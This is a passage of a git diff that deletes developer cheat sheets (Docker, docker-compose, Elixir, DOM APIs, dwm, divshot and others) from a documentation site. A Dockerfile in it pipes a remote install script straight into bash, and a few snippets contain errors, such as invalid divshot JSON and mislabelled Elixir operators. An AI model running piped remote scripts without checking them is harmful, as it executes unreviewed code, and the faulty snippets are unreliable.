-diff -uB <file-1> <file-2>
-
-# To ignore the differences between uppercase and lowercase:
-
-diff -ui <file-1> <file-2>
-
-# To report whether the files differ:
-
-diff -q <file-1> <file-2>
-
-# To report whether the files are identical:
-
-diff -s <file-1> <file-2>
-
-# To diff the output of two commands or scripts:
-
-diff <(command1) <(command2)
-
-# To generate a patch file from two files:
-
-diff -Naur <file-1> <file-2> > <patch-file>
diff --git a/docs/content/cheat-sheets/distcc.md b/docs/content/cheat-sheets/distcc.md
deleted file mode 100644
index 56a5257d9d..0000000000
--- a/docs/content/cheat-sheets/distcc.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# INSTALL
-
-# ==============================================================================
-
-# Edit /etc/default/distcc and set theses vars
-
-# STARTDISTCC="true"
-
-# ALLOWEDNETS="127.0.0.1 192.168.1.0/24"# Your computer and local computers
-
-# #LISTENER="127.0.0.1"# Comment it
-
-# ZEROCONF="true"# Auto configuration
-
-# REMEMBER 1:
-
-# Start/Restart your distccd servers before using one of these commands.
-
-# service distccd start
-
-# REMEMBER 2:
-
-# Do not forget to install on each machine DISTCC.
-
-# No need to install libs ! Only main host need libs !
-
-# USAGE
-
-# ==============================================================================
-
-# Run make with 4 thread (a cross network) in auto configuration.
-
-# Note: for gcc, Replace CXX by CC and g++ by gcc
-
-ZEROCONF='+zeroconf' make -j4 CXX='distcc g++'
-
-# Run make with 4 thread (a cross network) in static configuration (2 ip)
-
-# Note: for gcc, Replace CXX by CC and g++ by gcc
-
-DISTCC_HOSTS='127.0.0.1 192.168.1.69' make -j4 CXX='distcc g++'
-
-# Show hosts aviables
-
-ZEROCONF='+zeroconf' distcc --show-hosts
diff --git a/docs/content/cheat-sheets/divshot.md b/docs/content/cheat-sheets/divshot.md
deleted file mode 100644
index c5f7703842..0000000000
--- a/docs/content/cheat-sheets/divshot.md
+++ /dev/null
@@ -1,146 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## title: Divshot
-
-## Getting started
-
-### Install divshot-cli
-
-```
-$ npm install -g divshot-cli
-$ divshot login
-```
-
-### Create divshot.json
-
-```json
-{
-    "name": "yourapp",
-    "root": "./app"
-}
-```
-
-### Push your app
-
-```
-$ divshot push
-```
-
-## Configuration
-
-See [configuration reference](https://docs.divshot.com/guides/configuration) and [routing guide](https://docs.divshot.com/guides/routing).
-
-```json
-{
-  "name": "yourapp",
-  "root": "./app",
-  "clean_urls": true,
-  "clean_urls": ["/app/**", "/!components/**"],,
-  "error_page": "error.html",
-  "exclude": [ "Gruntfile.js" ],
-  "cache_control": {},
-  "routes": {
-    "/*.html": "index.html",
-    "/app/**/*.html": "app.html",
-    "**": "index.html"
-  },
-  "redirects": {
-    "/old/:segment/path": "/new/path/:segment",
-    "/some/old/path": {
-      "status": 302,
-      "url": "/some/new/path"
-    }
-  },
-  "headers": {
-    "/cors-stuff/**": {
-      "Access-Control-Allow-Origin": "*"
-    },
-    "/scripts/**": {
-      "content-type": "text/javascript"
-    }
-  }
-}
-```
-
-## CLI
-
-```sh
-divshot s   # server
-
-divshot push [staging|production|development]
-divshot pull [staging|production|development]
-divshot purge   # cleans cache
-divshot files
-
-divshot promote development production
-
-divshot open [<env>]
-```
-
-### Config
-
-Edits `divshot.json`
-
-```
-
-divshot config:add name your-app-name
-divshot config:remove name
-```
-
-### Environment vars
-
-```
-divshot env:add <env> KEY=value
-divshot env:remove <env> KEY
-divshot env:pull <env>
-```
-
-### App management
-
-```
-divshot create <appname>
-divshot rename <newname>
-divshot status
-divshot destroy
-```
-
-divshot apps
-divshot account
-
-````
-
-### Password protect
-
-```sh
-divshot protect <env> <username:password>
-````
-
-## Custom domains
-
-See [custom domains guide](http://docs.divshot.com/guides/domains).
-
-```sh
-divshot domains:add foo.bar.com
-```
-
-In your DNS create a `CNAME`: (no apex domains are supported)
-
-```
-www.    CNAME    yourname.divshot.io
-```
diff --git a/docs/content/cheat-sheets/dnf.md b/docs/content/cheat-sheets/dnf.md
deleted file mode 100644
index eaead2e964..0000000000
--- a/docs/content/cheat-sheets/dnf.md
+++ /dev/null
@@ -1,41 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## tags: [packaging]
-
-# To install a package:
-
-dnf install <package>
-
-# To find packages matching <phrase>:
-
-dnf search <phrase>
-
-# To find which package provides an executable:
-
-dnf provides <executable>
-
-# The following are available after installing "dnf-plugins-core"
-
-# To download a package:
-
-dnf download <package>
-
-# To install the build dependencies for a SRPM or from a .spec file:
-
-dnf builddep <file>
diff --git a/docs/content/cheat-sheets/do.md b/docs/content/cheat-sheets/do.md
deleted file mode 100644
index adffb793a3..0000000000
--- a/docs/content/cheat-sheets/do.md
+++ /dev/null
@@ -1,112 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Do gem
-category: Ruby libraries
-
----
-
--   [DAddYE/do](https://github.com/DAddYE/do)
-
-### Connection
-
-    server = DO::Server.new('srv1', 'srv1.domain.local', 'root', :key =>
-        %w[srv1.pem]
-
-### Run
-
-    server.run 'uname'
-    # root@srv1 ~ # uname
-    # Linux
-
-    server.run 'uname', '-a'
-    # root@srv1 ~ # uname -a
-    # Linux srv1.lipsiasoft.net 2.6.18-194.32.1.el5  x86_64 x86_64 x86_64 GNU/Linux
-
-    server.run 'mysqladmin -u root -p password "oldone"', 'newpassword'
-    # root@srv1 ~ # mysqladmin -u root -p password 'oldone'
-    # Enter password: oldone
-    # mysqladmin: connect to server at 'localhost' failed
-    # error: 'Access denied for user 'root'@'localhost' (using password: YES)'
-
-### Files
-
-    server.exist?('~/.ssh')
-    # root@srv1 ~ # test -e ~/.ssh && echo True
-    # => true
-
-    server.read('/etc/redhat-release')
-    # root@srv1 ~ # cat /etc/redhat-release
-    # => "CentOS release 5.5 (Final)"
-
-### Upload/download
-
-    server.upload '/tmp/file', '/tmp/foo'
-    # root@srv1 ~ # upload from '/tmp/file' to '/tmp/foo'
-
-    server.download '/tmp/foo', '/tmp/file2'
-    # root@srv1 ~ # download from '/tmp/foo' to '/tmp/file2'
-
-### Replace
-
-    server.replace :all, 'new content', '/tmp/file'
-    # root@srv1 ~ # replace all in '/tmp/foo'
-
-    server.read('/tmp/foo')
-    # root@srv1 ~ # cat /tmp/foo
-    # => "new content"
-
-### Replace via regex
-
-    server.replace /content$/, 'changed content', '/tmp/foo'
-    # root@srv1 ~ # replace /content$/ in '/tmp/foo'
-
-    server.read('/tmp/foo')
-    # root@srv1 ~ # cat /tmp/foo
-    # => "new changed content"
-
-### Append
-
-    server.append('appended', '/tmp/foo')
-    # root@srv1 ~ # append to 'bottom' in '/tmp/foo'
-
-    server.read('/tmp/foo')
-    # root@srv1 ~ # cat /tmp/foo
-    # => "new changed contentappended"
-
-### Append to top
-
-    server.append('---', '/tmp/foo', :top)
-    # root@srv1 ~ # append to 'top' in '/tmp/foo'
-
-    server.read('/tmp/foo')
-    # root@srv1 ~ # cat /tmp/foo
-    # => "---new changed contentappended"
-
-### Prompt
-
-    server.ask "Please choose"
-    # root@srv1 ~ # Please choose: foo
-    # => "foo"
-
-    server.yes? "Do you want to proceed"
-    # root@srv1 ~ # Do you want to proceed? (y/n): y
-    # => 0
-
-    server.wait
-    # Press ENTER to continue...
diff --git a/docs/content/cheat-sheets/docker-compose.md b/docs/content/cheat-sheets/docker-compose.md
deleted file mode 100644
index 86af746624..0000000000
--- a/docs/content/cheat-sheets/docker-compose.md
+++ /dev/null
@@ -1,247 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: docker-compose
-category: Devops
-
-prism_languages: [yaml]
-weight: -1
-
----
-
-### Basic example
-
-```yaml
-# docker-compose.yml
-version: '2'
-
-services:
-    web:
-        build: .
-        # build from Dockerfile
-        context: ./Path
-        dockerfile: Dockerfile
-        ports:
-            - '5000:5000'
-        volumes:
-            - .:/code
-    redis:
-        image: redis
-```
-
-### Commands
-
-```sh
-docker-compose start
-docker-compose stop
-```
-
-```sh
-docker-compose pause
-docker-compose unpause
-```
-
-```sh
-docker-compose ps
-docker-compose up
-docker-compose down
-```
-
-## Reference
-
-### Building
-
-```yaml
-web:
-    # build from Dockerfile
-    build: .
-    args: # Add build arguments
-        APP_HOME: app
-```
-
-```yaml
-# build from custom Dockerfile
-build:
-    context: ./dir
-    dockerfile: Dockerfile.dev
-```
-
-```yaml
-  # build from image
-  image: ubuntu
-  image: ubuntu:14.04
-  image: tutum/influxdb
-  image: example-registry:4000/postgresql
-  image: a4bc65fd
-```
-
-### Ports
-
-```yaml
-ports:
-    - '3000'
-    - '8000:80' # host:container
-```
-
-```yaml
-# expose ports to linked services (not to host)
-expose: ['3000']
-```
-
-### Commands
-
-```yaml
-  # command to execute
-  command: bundle exec thin -p 3000
-  command: [bundle, exec, thin, -p, 3000]
-```
-
-```yaml
-  # override the entrypoint
-  entrypoint: /app/start.sh
-  entrypoint: [php, -d, vendor/bin/phpunit]
-```
-
-### Environment variables
-
-```yaml
-  # environment vars
-  environment:
-    RACK_ENV: development
-  environment:
-    - RACK_ENV=development
-```
-
-```yaml
-  # environment vars from file
-  env_file: .env
-  env_file: [.env, .development.env]
-```
-
-### Dependencies
-
-```yaml
-# makes the `db` service available as the hostname `database`
-# (implies depends_on)
-links:
-    - db:database
-    - redis
-```
-
-```yaml
-# make sure `db` is alive before starting
-depends_on:
-    - db
-```
-
-### Other options
-
-```yaml
-# make this service extend another
-extends:
-    file: common.yml # optional
-    service: webapp
-```
-
-```yaml
-volumes:
-    - /var/lib/mysql
-    - ./_data:/var/lib/mysql
-```
-
-## Advanced features
-
-### Labels
-
-```yaml
-services:
-    web:
-        labels:
-            com.example.description: 'Accounting web app'
-```
-
-### DNS servers
-
-```yaml
-services:
-  web:
-    dns: 8.8.8.8
-    dns:
-      - 8.8.8.8
-      - 8.8.4.4
-```
-
-### Devices
-
-```yaml
-services:
-    web:
-        devices:
-            - '/dev/ttyUSB0:/dev/ttyUSB0'
-```
-
-### External links
-
-```yaml
-services:
-    web:
-        external_links:
-            - redis_1
-            - project_db_1:mysql
-```
-
-### Hosts
-
-```yaml
-services:
-    web:
-        extra_hosts:
-            - 'somehost:192.168.1.100'
-```
-
-### Network
-
-```yaml
-# creates a custom network called `frontend`
-networks:
-    frontend:
-```
-
-### External network
-
-```yaml
-# join a pre-existing network
-networks:
-    default:
-        external:
-            name: frontend
-```
-
-### Volume
-
-```yaml
-# Mount host paths or named volumes, specified as sub-options to a service
-  db:
-    image: postgres:latest
-    volumes:
-      - "/var/run/postgres/postgres.sock:/var/run/postgres/postgres.sock"
-      - "dbdata:/var/lib/postgresql/data"
-
-volumes:
-  dbdata:
-```
diff --git a/docs/content/cheat-sheets/docker.md b/docs/content/cheat-sheets/docker.md
deleted file mode 100644
index af530d9b3b..0000000000
--- a/docs/content/cheat-sheets/docker.md
+++ /dev/null
@@ -1,67 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To start the docker daemon:
-
-docker -d
-
-# To start a container with an interactive shell:
-
-docker run -ti <image-name> /bin/bash
-
-# To "shell" into a running container (docker-1.3+):
-
-docker exec -ti <container-name> bash
-
-# To inspect a running container:
-
-docker inspect <container-name> (or <container-id>)
-
-# To get the process ID for a container:
-
-docker inspect --format {{.State.Pid}} <container-name-or-id>
-
-# To list (and pretty-print) the current mounted volumes for a container:
-
-docker inspect --format='{{json .Volumes}}' <container-id> | python -mjson.tool
-
-# To copy files/folders between a container and your host:
-
-docker cp foo.txt mycontainer:/foo.txt
-
-# To list currently running containers:
-
-docker ps
-
-# To list all containers:
-
-docker ps -a
-
-# To remove all stopped containers:
-
-docker rm $(docker ps -qa)
-
-# To list all images:
-
-docker images
-
-# To remove all untagged images:
-
-docker rmi $(docker images | grep "^<none>" | awk "{print $3}")
-
-# To remove all volumes not used by at least one container:
-
-docker volume prune
diff --git a/docs/content/cheat-sheets/dockerfile.md b/docs/content/cheat-sheets/dockerfile.md
deleted file mode 100644
index 2eb7e4acac..0000000000
--- a/docs/content/cheat-sheets/dockerfile.md
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-FROM ruby:2.7.1
-RUN curl -sL https://deb.nodesource.com/setup_12.x | bash -
-RUN curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | apt-key add -
-RUN echo "deb https://dl.yarnpkg.com/debian/ stable main" | tee /etc/apt/sources.list.d/yarn.list
-RUN apt-get update -qq && apt-get install -qq --no-install-recommends \
- nodejs \
- yarn \
- && apt-get clean \
- && rm -rf /var/lib/apt/lists/\*
-RUN mkdir -p /app
-WORKDIR /app
diff --git a/docs/content/cheat-sheets/dom-range.md b/docs/content/cheat-sheets/dom-range.md
deleted file mode 100644
index 47c2acb72a..0000000000
--- a/docs/content/cheat-sheets/dom-range.md
+++ /dev/null
@@ -1,92 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: DOM Range
-category: JavaScript
-
-intro: |
-Quick reference to the HTML [DOM createRange API](https://devdocs.io/dom/range).
-
----
-
-## Reference
-
-{:.-three-column}
-
-### Creating ranges
-
-```js
-var range = document.createRange();
-```
-
-See: <https://devdocs.io/dom/document/createrange>
-
-## Methods
-
-```js
-range
-    .setStart(startNode, startOffset)
-    .setEnd(endNode, endOffset)
-
-    .setStartBefore(node)
-    .setStartAfter(node)
-    .setEndBefore(node)
-    .setEndAfter(node)
-
-    .selectNode(node)
-    .selectNodeContents(node);
-```
-
-See: <https://devdocs.io/dom/range>
-
-### Collapsing
-
-```js
-range.collapse(); // to end (a single point)
-range.collapse(true); // to start (a single point)
-range.collapsed; // true | false
-```
-
-### Operations
-
-```js
-range.cloneContents(); // copy => DocumentFragment
-range.extractContents(); // cut  => DocumentFragment
-range.deleteContents(); // delete
-```
-
-```js
-range.insertNode(node);
-```
-
-### String
-
-```js
-range.toString();
-```
-
-### Read-only attributes
-
-```js
-range.collapsed; //       => true/false
-range.startContainer; //  => Node
-range.startOffset;
-range.endContainer; //    => Node
-range.endOffset;
-range.commonAncestorContainer; // closest of start and end containers
-```
diff --git a/docs/content/cheat-sheets/dom-selection.md b/docs/content/cheat-sheets/dom-selection.md
deleted file mode 100644
index b9c27e918e..0000000000
--- a/docs/content/cheat-sheets/dom-selection.md
+++ /dev/null
@@ -1,73 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: DOM Selection
-category: JavaScript
-
-intro: |
-Quick introduction to the HTML [DOM selection API](https://devdocs.io/dom/selection).
-
----
-
-## Reference
-
-### Selection
-
-```js
-var sel = document.getSelection();
-```
-
-See: <https://devdocs.io/dom/selection>
-
-### Methods
-
-```js
-sel.removeAllRanges(); //  deselects
-sel.addRange(range); //    sets a selection
-sel.removeRange(range); // remove a range
-```
-
-```js
-sel.rangeCount;
-sel.getRangeAt(0); // get the 0th range
-```
-
-### Collapsing
-
-```js
-sel.collapse(parent, offset);
-sel.collapseToEnd();
-sel.collapseToStart();
-sel.isCollapsed;
-```
-
-```js
-sel.containsNode(node);
-```
-
-### Deleting
-
-```js
-sel.deleteFromDocument();
-```
-
-### Events
-
-```js
-document.addEventListener('selectionchange', () => {});
-```
diff --git a/docs/content/cheat-sheets/dwm.md b/docs/content/cheat-sheets/dwm.md
deleted file mode 100644
index 360c197a3d..0000000000
--- a/docs/content/cheat-sheets/dwm.md
+++ /dev/null
@@ -1,115 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# Basic
-
-# launch terminal.
-
-[Shift]+[Mod]+[Enter]
-
-# show/hide bar.
-
-[Mod]+[b]
-
-# dmenu for running programs like the x#www#browser.
-
-[Mod]+[p]
-
-# push acive window from stack to master, or pulls last used window from stack onto master.
-
-[Mod]+[Enter]
-
-# focus on next/previous window in current tag.
-
-[Mod] + [j / k]
-
-# increases / decreases master size.
-
-[Mod] + [h / l]
-
-# Navigation
-
-# moves your focus to tag 2.
-
-[Mod]+[2]
-
-# move active window to the 2 tag.
-
-[Shift]+[Mod]+[2]
-
-# increases / decreases number of windows on master
-
-[Mod] + [i / d]
-
-# move focus between screens (multi monitor setup)
-
-[Mod] + [, / .]
-
-# move active window to different screen.
-
-[Shift]+[Mod]+[, / .]
-
-# view all windows on screen.
-
-[Mod]+[0]
-
-# make focused window appear on all tags.
-
-[Shift]+[Mod]+[0]
-
-# kill active window.
-
-[Shift]+[Mod]+[c]
-
-# quit dwm cleanly.
-
-[Shift]+[Mod]+[q]
-
-# Layout
-
-# tiled mode. []=
-
-[Mod]+[t]
-
-# floating mode. ><>
-
-[Mod]+[f]
-
-# monocle mode. [M] (single window fullscreen)
-
-[Mod]+[m]
-
-# Floating
-
-# to resize the floating window.
-
-[Mod]+[R M B]
-
-# to move the floating window around.
-
-[Mod]+[L M B]
-
-# toggles to the previous layout mode.
-
-[Mod]+[Space]
-
-# to make an individual window float.
-
-[Mod]+[Shift]+[Space]
-
-# to make an individual window un#float.
-
-[Mod]+[M M B]
diff --git a/docs/content/cheat-sheets/ec2-api-tools-1.md b/docs/content/cheat-sheets/ec2-api-tools-1.md
deleted file mode 100644
index a3344ab3b8..0000000000
--- a/docs/content/cheat-sheets/ec2-api-tools-1.md
+++ /dev/null
@@ -1 +0,0 @@
-# EC2 API tools
diff --git a/docs/content/cheat-sheets/ec2-api-tools.md b/docs/content/cheat-sheets/ec2-api-tools.md
deleted file mode 100644
index a3344ab3b8..0000000000
--- a/docs/content/cheat-sheets/ec2-api-tools.md
+++ /dev/null
@@ -1 +0,0 @@
-# EC2 API tools
diff --git a/docs/content/cheat-sheets/editorconfig.md b/docs/content/cheat-sheets/editorconfig.md
deleted file mode 100644
index 3e3860bbda..0000000000
--- a/docs/content/cheat-sheets/editorconfig.md
+++ /dev/null
@@ -1 +0,0 @@
-# editorconfig
diff --git a/docs/content/cheat-sheets/elixir-metaprogramming.md b/docs/content/cheat-sheets/elixir-metaprogramming.md
deleted file mode 100644
index b48b6dfd28..0000000000
--- a/docs/content/cheat-sheets/elixir-metaprogramming.md
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Elixir metaprogramming
-category: Elixir
-
----
-
-## Kernel
-
-Most of these magic is defined in [Kernel.SpecialForms](http://devdocs.io/elixir/elixir/kernel.specialforms).
-
-### Pseudo-variables
-
-```elixir
-__DIR__     # current dir
-__MODULE__  # current module
-__CALLER__  # caller of the function
-```
-
-### [`__ENV__`](http://devdocs.io/elixir/elixir/kernel.specialforms#__ENV__/0)
-
-```elixir
-Map.keys(__ENV__)
-[:__struct__, :aliases, :context, :context_modules, :export_vars, :file,
- :function, :functions, :lexical_tracker, :line, :macro_aliases, :macros,
- :module, :requires, :vars]
-```
-
-```elixir
-__CALLER__.module |> Module.definitions_in |> IO.inspect
-```
-
-```elixir
-apply(Enum, :reverse, [[1, 2, 3]])
-```
diff --git a/docs/content/cheat-sheets/elixir.md b/docs/content/cheat-sheets/elixir.md
deleted file mode 100644
index 18cb203070..0000000000
--- a/docs/content/cheat-sheets/elixir.md
+++ /dev/null
@@ -1,781 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Elixir
-category: Elixir
-
-tags: [New]
-weight: -10
-
----
-
-## Getting started
-
-### Hello world
-
-```elixir
-# hello.exs
-defmodule Greeter do
-  def greet(name) do
-    message = "Hello, " <> name <> "!"
-    IO.puts message
-  end
-end
-
-Greeter.greet("world")
-```
-
-```bash
-elixir hello.exs
-# Hello, world!
-```
-
-{: .-setup}
-
-### Variables
-
-```elixir
-age = 23
-```
-
-### Maps
-
-```elixir
-user = %{
-  name: "John",
-  city: "Melbourne"
-}
-```
-
-```elixir
-IO.puts "Hello, " <> user.name
-```
-
-{: .-setup}
-
-### Lists
-
-```elixir
-users = [ "Tom", "Dick", "Harry" ]
-```
-
-{: data-line="1"}
-
-```elixir
-Enum.map(users, fn user ->
-  IO.puts "Hello " <> user
-end)
-```
-
-### Piping
-
-```elixir
-source
-|> transform(:hello)
-|> print()
-```
-
-{: data-line="2,3"}
-
-```elixir
-# Same as:
-print(transform(source, :hello))
-```
-
-These two are equivalent.
-
-### Pattern matching
-
-```elixir
-user = %{name: "Tom", age: 23}
-%{name: username} = user
-```
-
-{: data-line="2"}
-
-This sets `username` to `"Tom"`.
-
-### Pattern matching in functions
-
-```elixir
-def greet(%{name: username}) do
-  IO.puts "Hello, " <> username
-end
-
-user = %{name: "Tom", age: 23}
-```
-
-{: data-line="1"}
-
-Pattern matching works in function parameters too.
-
-## Control flow
-
-### If
-
-```elixir
-if false do
-  "This will never be seen"
-else
-  "This will"
-end
-```
-
-### Case
-
-```elixir
-case {1, 2, 3} do
-  {4, 5, 6} ->
-    "This clause won't match"
-  {1, x, 3} ->
-    "This will match and bind x to 2"
-  _ ->
-   "This will match any value"
-end
-```
-
-### Cond
-
-```elixir
-cond do
-  1 + 1 == 3 ->
-    "I will never be seen"
-  2 * 5 == 12 ->
-    "Me neither"
-  true ->
-    "But I will (this is essentially an else)"
-end
-```
-
-### Errors
-
-```elixir
-try do
-  throw(:hello)
-catch
-  message -> "Got #{message}."
-after
-  IO.puts("I'm the after clause.")
-end
-```
-
-## Types
-
-### Primitives
-
-| Sample                  | Type            |
-| ----------------------- | --------------- |
-| `nil`                   | Nil/null        |
-| `true` _/_ `false`      | Boolean         |
-| ---                     | ---             |
-| `?a`                    | Integer (ASCII) |
-| `23`                    | Integer         |
-| `3.14`                  | Float           |
-| ---                     | ---             |
-| `'hello'`               | Charlist        |
-| `<<2, 3>>`              | Binary          |
-| `"hello"`               | Binary string   |
-| `:hello`                | Atom            |
-| ---                     | ---             |
-| `[a, b]`                | List            |
-| `{a, b}`                | Tuple           |
-| ---                     | ---             |
-| `%{a: "hello"}`         | Map             |
-| `%MyStruct{a: "hello"}` | Struct          |
-| `fn -> ... end`         | Function        |
-
-### Type checks
-
-```elixir
-is_atom/1
-is_bitstring/1
-is_boolean/1
-is_function/1
-is_function/2
-is_integer/1
-is_float/1
-```
-
-```elixir
-is_binary/1
-is_list/1
-is_map/1
-is_tuple/1
-```
-
-```elixir
-is_nil/1
-is_number/1
-is_pid/1
-is_port/1
-is_reference/1
-```
-
-### Operators
-
-```elixir
-left != right   # equal
-left !== right  # match
-left ++ right   # concat lists
-left <> right   # concat string/binary
-left =~ right   # regexp
-```
-
-## Modules
-
-### Importing
-
-```elixir
-require Redux   # compiles a module
-import Redux    # compiles, and you can use without the `Redux.` prefix
-
-use Redux       # compiles, and runs Redux.__using__/1
-use Redux, async: true
-
-import Redux, only: [duplicate: 2]
-import Redux, only: :functions
-import Redux, only: :macros
-
-import Foo.{Bar, Baz}
-```
-
-### Aliases
-
-```elixir
-alias Foo.Bar, as: Bar
-alias Foo.Bar   # same as above
-
-alias Foo.{Bar, Baz}
-```
-
-## String
-
-### Functions
-
-```elixir
-import String
-```
-
-{: .-setup}
-
-```elixir
-str = "hello"
-str |> length()        # → 5
-str |> codepoints()    # → ["h", "e", "l", "l", "o"]
-str |> slice(2..-1)    # → "llo"
-str |> split(" ")      # → ["hello"]
-str |> capitalize()    # → "Hello"
-str |> match(regex)
-```
-
-### Inspecting objects
-
-```elixir
-inspect(object, opts \\ [])
-```
-
-```elixir
-value |> IO.inspect()
-```
-
-```elixir
-value |> IO.inspect(label: "value")
-```
-
-## Numbers
-
-### Operations
-
-```elixir
-abs(n)
-round(n)
-rem(a, b)   # remainder (modulo)
-div(a, b)   # integer division
-```
-
-### Float
-
-```elixir
-import Float
-```
-
-{: .-setup}
-
-```elixir
-n = 10.3
-```
-
-{: .-setup}
-
-```elixir
-n |> ceil()            # → 11.0
-n |> ceil(2)           # → 11.30
-n |> to_string()       # → "1.030000+e01"
-n |> to_string([decimals: 2, compact: true])
-```
-
-```elixir
-Float.parse("34")  # → { 34.0, "" }
-```
-
-### Integer
-
-```elixir
-import Integer
-```
-
-{: .-setup}
-
-```elixir
-n = 12
-```
-
-{: .-setup}
-
-```elixir
-n |> digits()         # → [1, 2]
-n |> to_charlist()    # → '12'
-n |> to_string()      # → "12"
-n |> is_even()
-n |> is_odd()
-```
-
-```elixir
-# Different base:
-n |> digits(2)        # → [1, 1, 0, 0]
-n |> to_charlist(2)   # → '1100'
-n |> to_string(2)     # → "1100"
-```
-
-```elixir
-parse("12")           # → {12, ""}
-undigits([1, 2])      # → 12
-```
-
-### Type casting
-
-```elixir
-Float.parse("34.1")    # → {34.1, ""}
-Integer.parse("34")    # → {34, ""}
-```
-
-```elixir
-Float.to_string(34.1)  # → "3.4100e+01"
-Float.to_string(34.1, [decimals: 2, compact: true])  # → "34.1"
-```
-
-## Map
-
-### Defining
-
-```elixir
-m = %{name: "hi"}       # atom keys (:name)
-m = %{"name" => "hi"}   # string keys ("name")
-```
-
-### Updating
-
-```elixir
-import Map
-```
-
-{: .-setup}
-
-```elixir
-m = %{m | name: "yo"}  # key must exist
-```
-
-```elixir
-m |> put(:id, 2)      # → %{id: 2, name: "hi"}
-m |> put_new(:id, 2)  # only if `id` doesn't exist (`||=`)
-```
-
-```elixir
-m |> put(:b, "Banana")
-m |> merge(%{b: "Banana"})
-m |> update(:a, &(&1 + 1))
-m |> update(:a, fun a -> a + 1 end)
-```
-
-```elixir
-m |> get_and_update(:a, &(&1 || "default"))
-# → {old, new}
-```
-
-### Deleting
-
-```elixir
-m |> delete(:name)  # → %{}
-m |> pop(:name)     # → {"John", %{}}
-```
-
-### Reading
-
-```elixir
-m |> get(:id)       # → 1
-m |> keys()         # → [:id, :name]
-m |> values()       # → [1, "hi"]
-```
-
-```elixir
-m |> to_list()      # → [id: 1, name: "hi"]
-                    # → [{:id, 1}, {:name, "hi"}]
-```
-
-### Deep
-
-```elixir
-put_in(map, [:b, :c], "Banana")
-put_in(map[:b][:c], "Banana")    # via macros
-```
-
-```elixir
-get_and_update_in(users, ["john", :age], &{&1, &1 + 1})
-```
-
-### Constructing from lists
-
-```elixir
-Map.new([{:b, 1}, {:a, 2}])
-Map.new([a: 1, b: 2])
-Map.new([:a, :b], fn x -> {x, x} end)  # → %{a: :a, b: :b}
-```
-
-### Working with structs
-
-#### Struct to map
-
-```elixir
-Map.from_struct(%AnyStruct{a: "b"})  # → %{a: "b"}
-```
-
-#### Map to struct
-
-```elixir
-struct(AnyStruct, %{a: "b"})  # → %AnyStruct{a: "b"}
-```
-
-## List
-
-```elixir
-import List
-```
-
-{: .-setup}
-
-```elixir
-l = [ 1, 2, 3, 4 ]
-```
-
-{: .-setup}
-
-```elixir
-l = l ++ [5]         # push (append)
-l = [ 0 | list ]     # unshift (prepend)
-```
-
-```elixir
-l |> first()
-l |> last()
-```
-
-```elixir
-l |> flatten()
-l |> flatten(tail)
-```
-
-Also see [Enum](#enum).
-
-## Enum
-
-### Usage
-
-```elixir
-import Enum
-```
-
-{: .-setup}
-
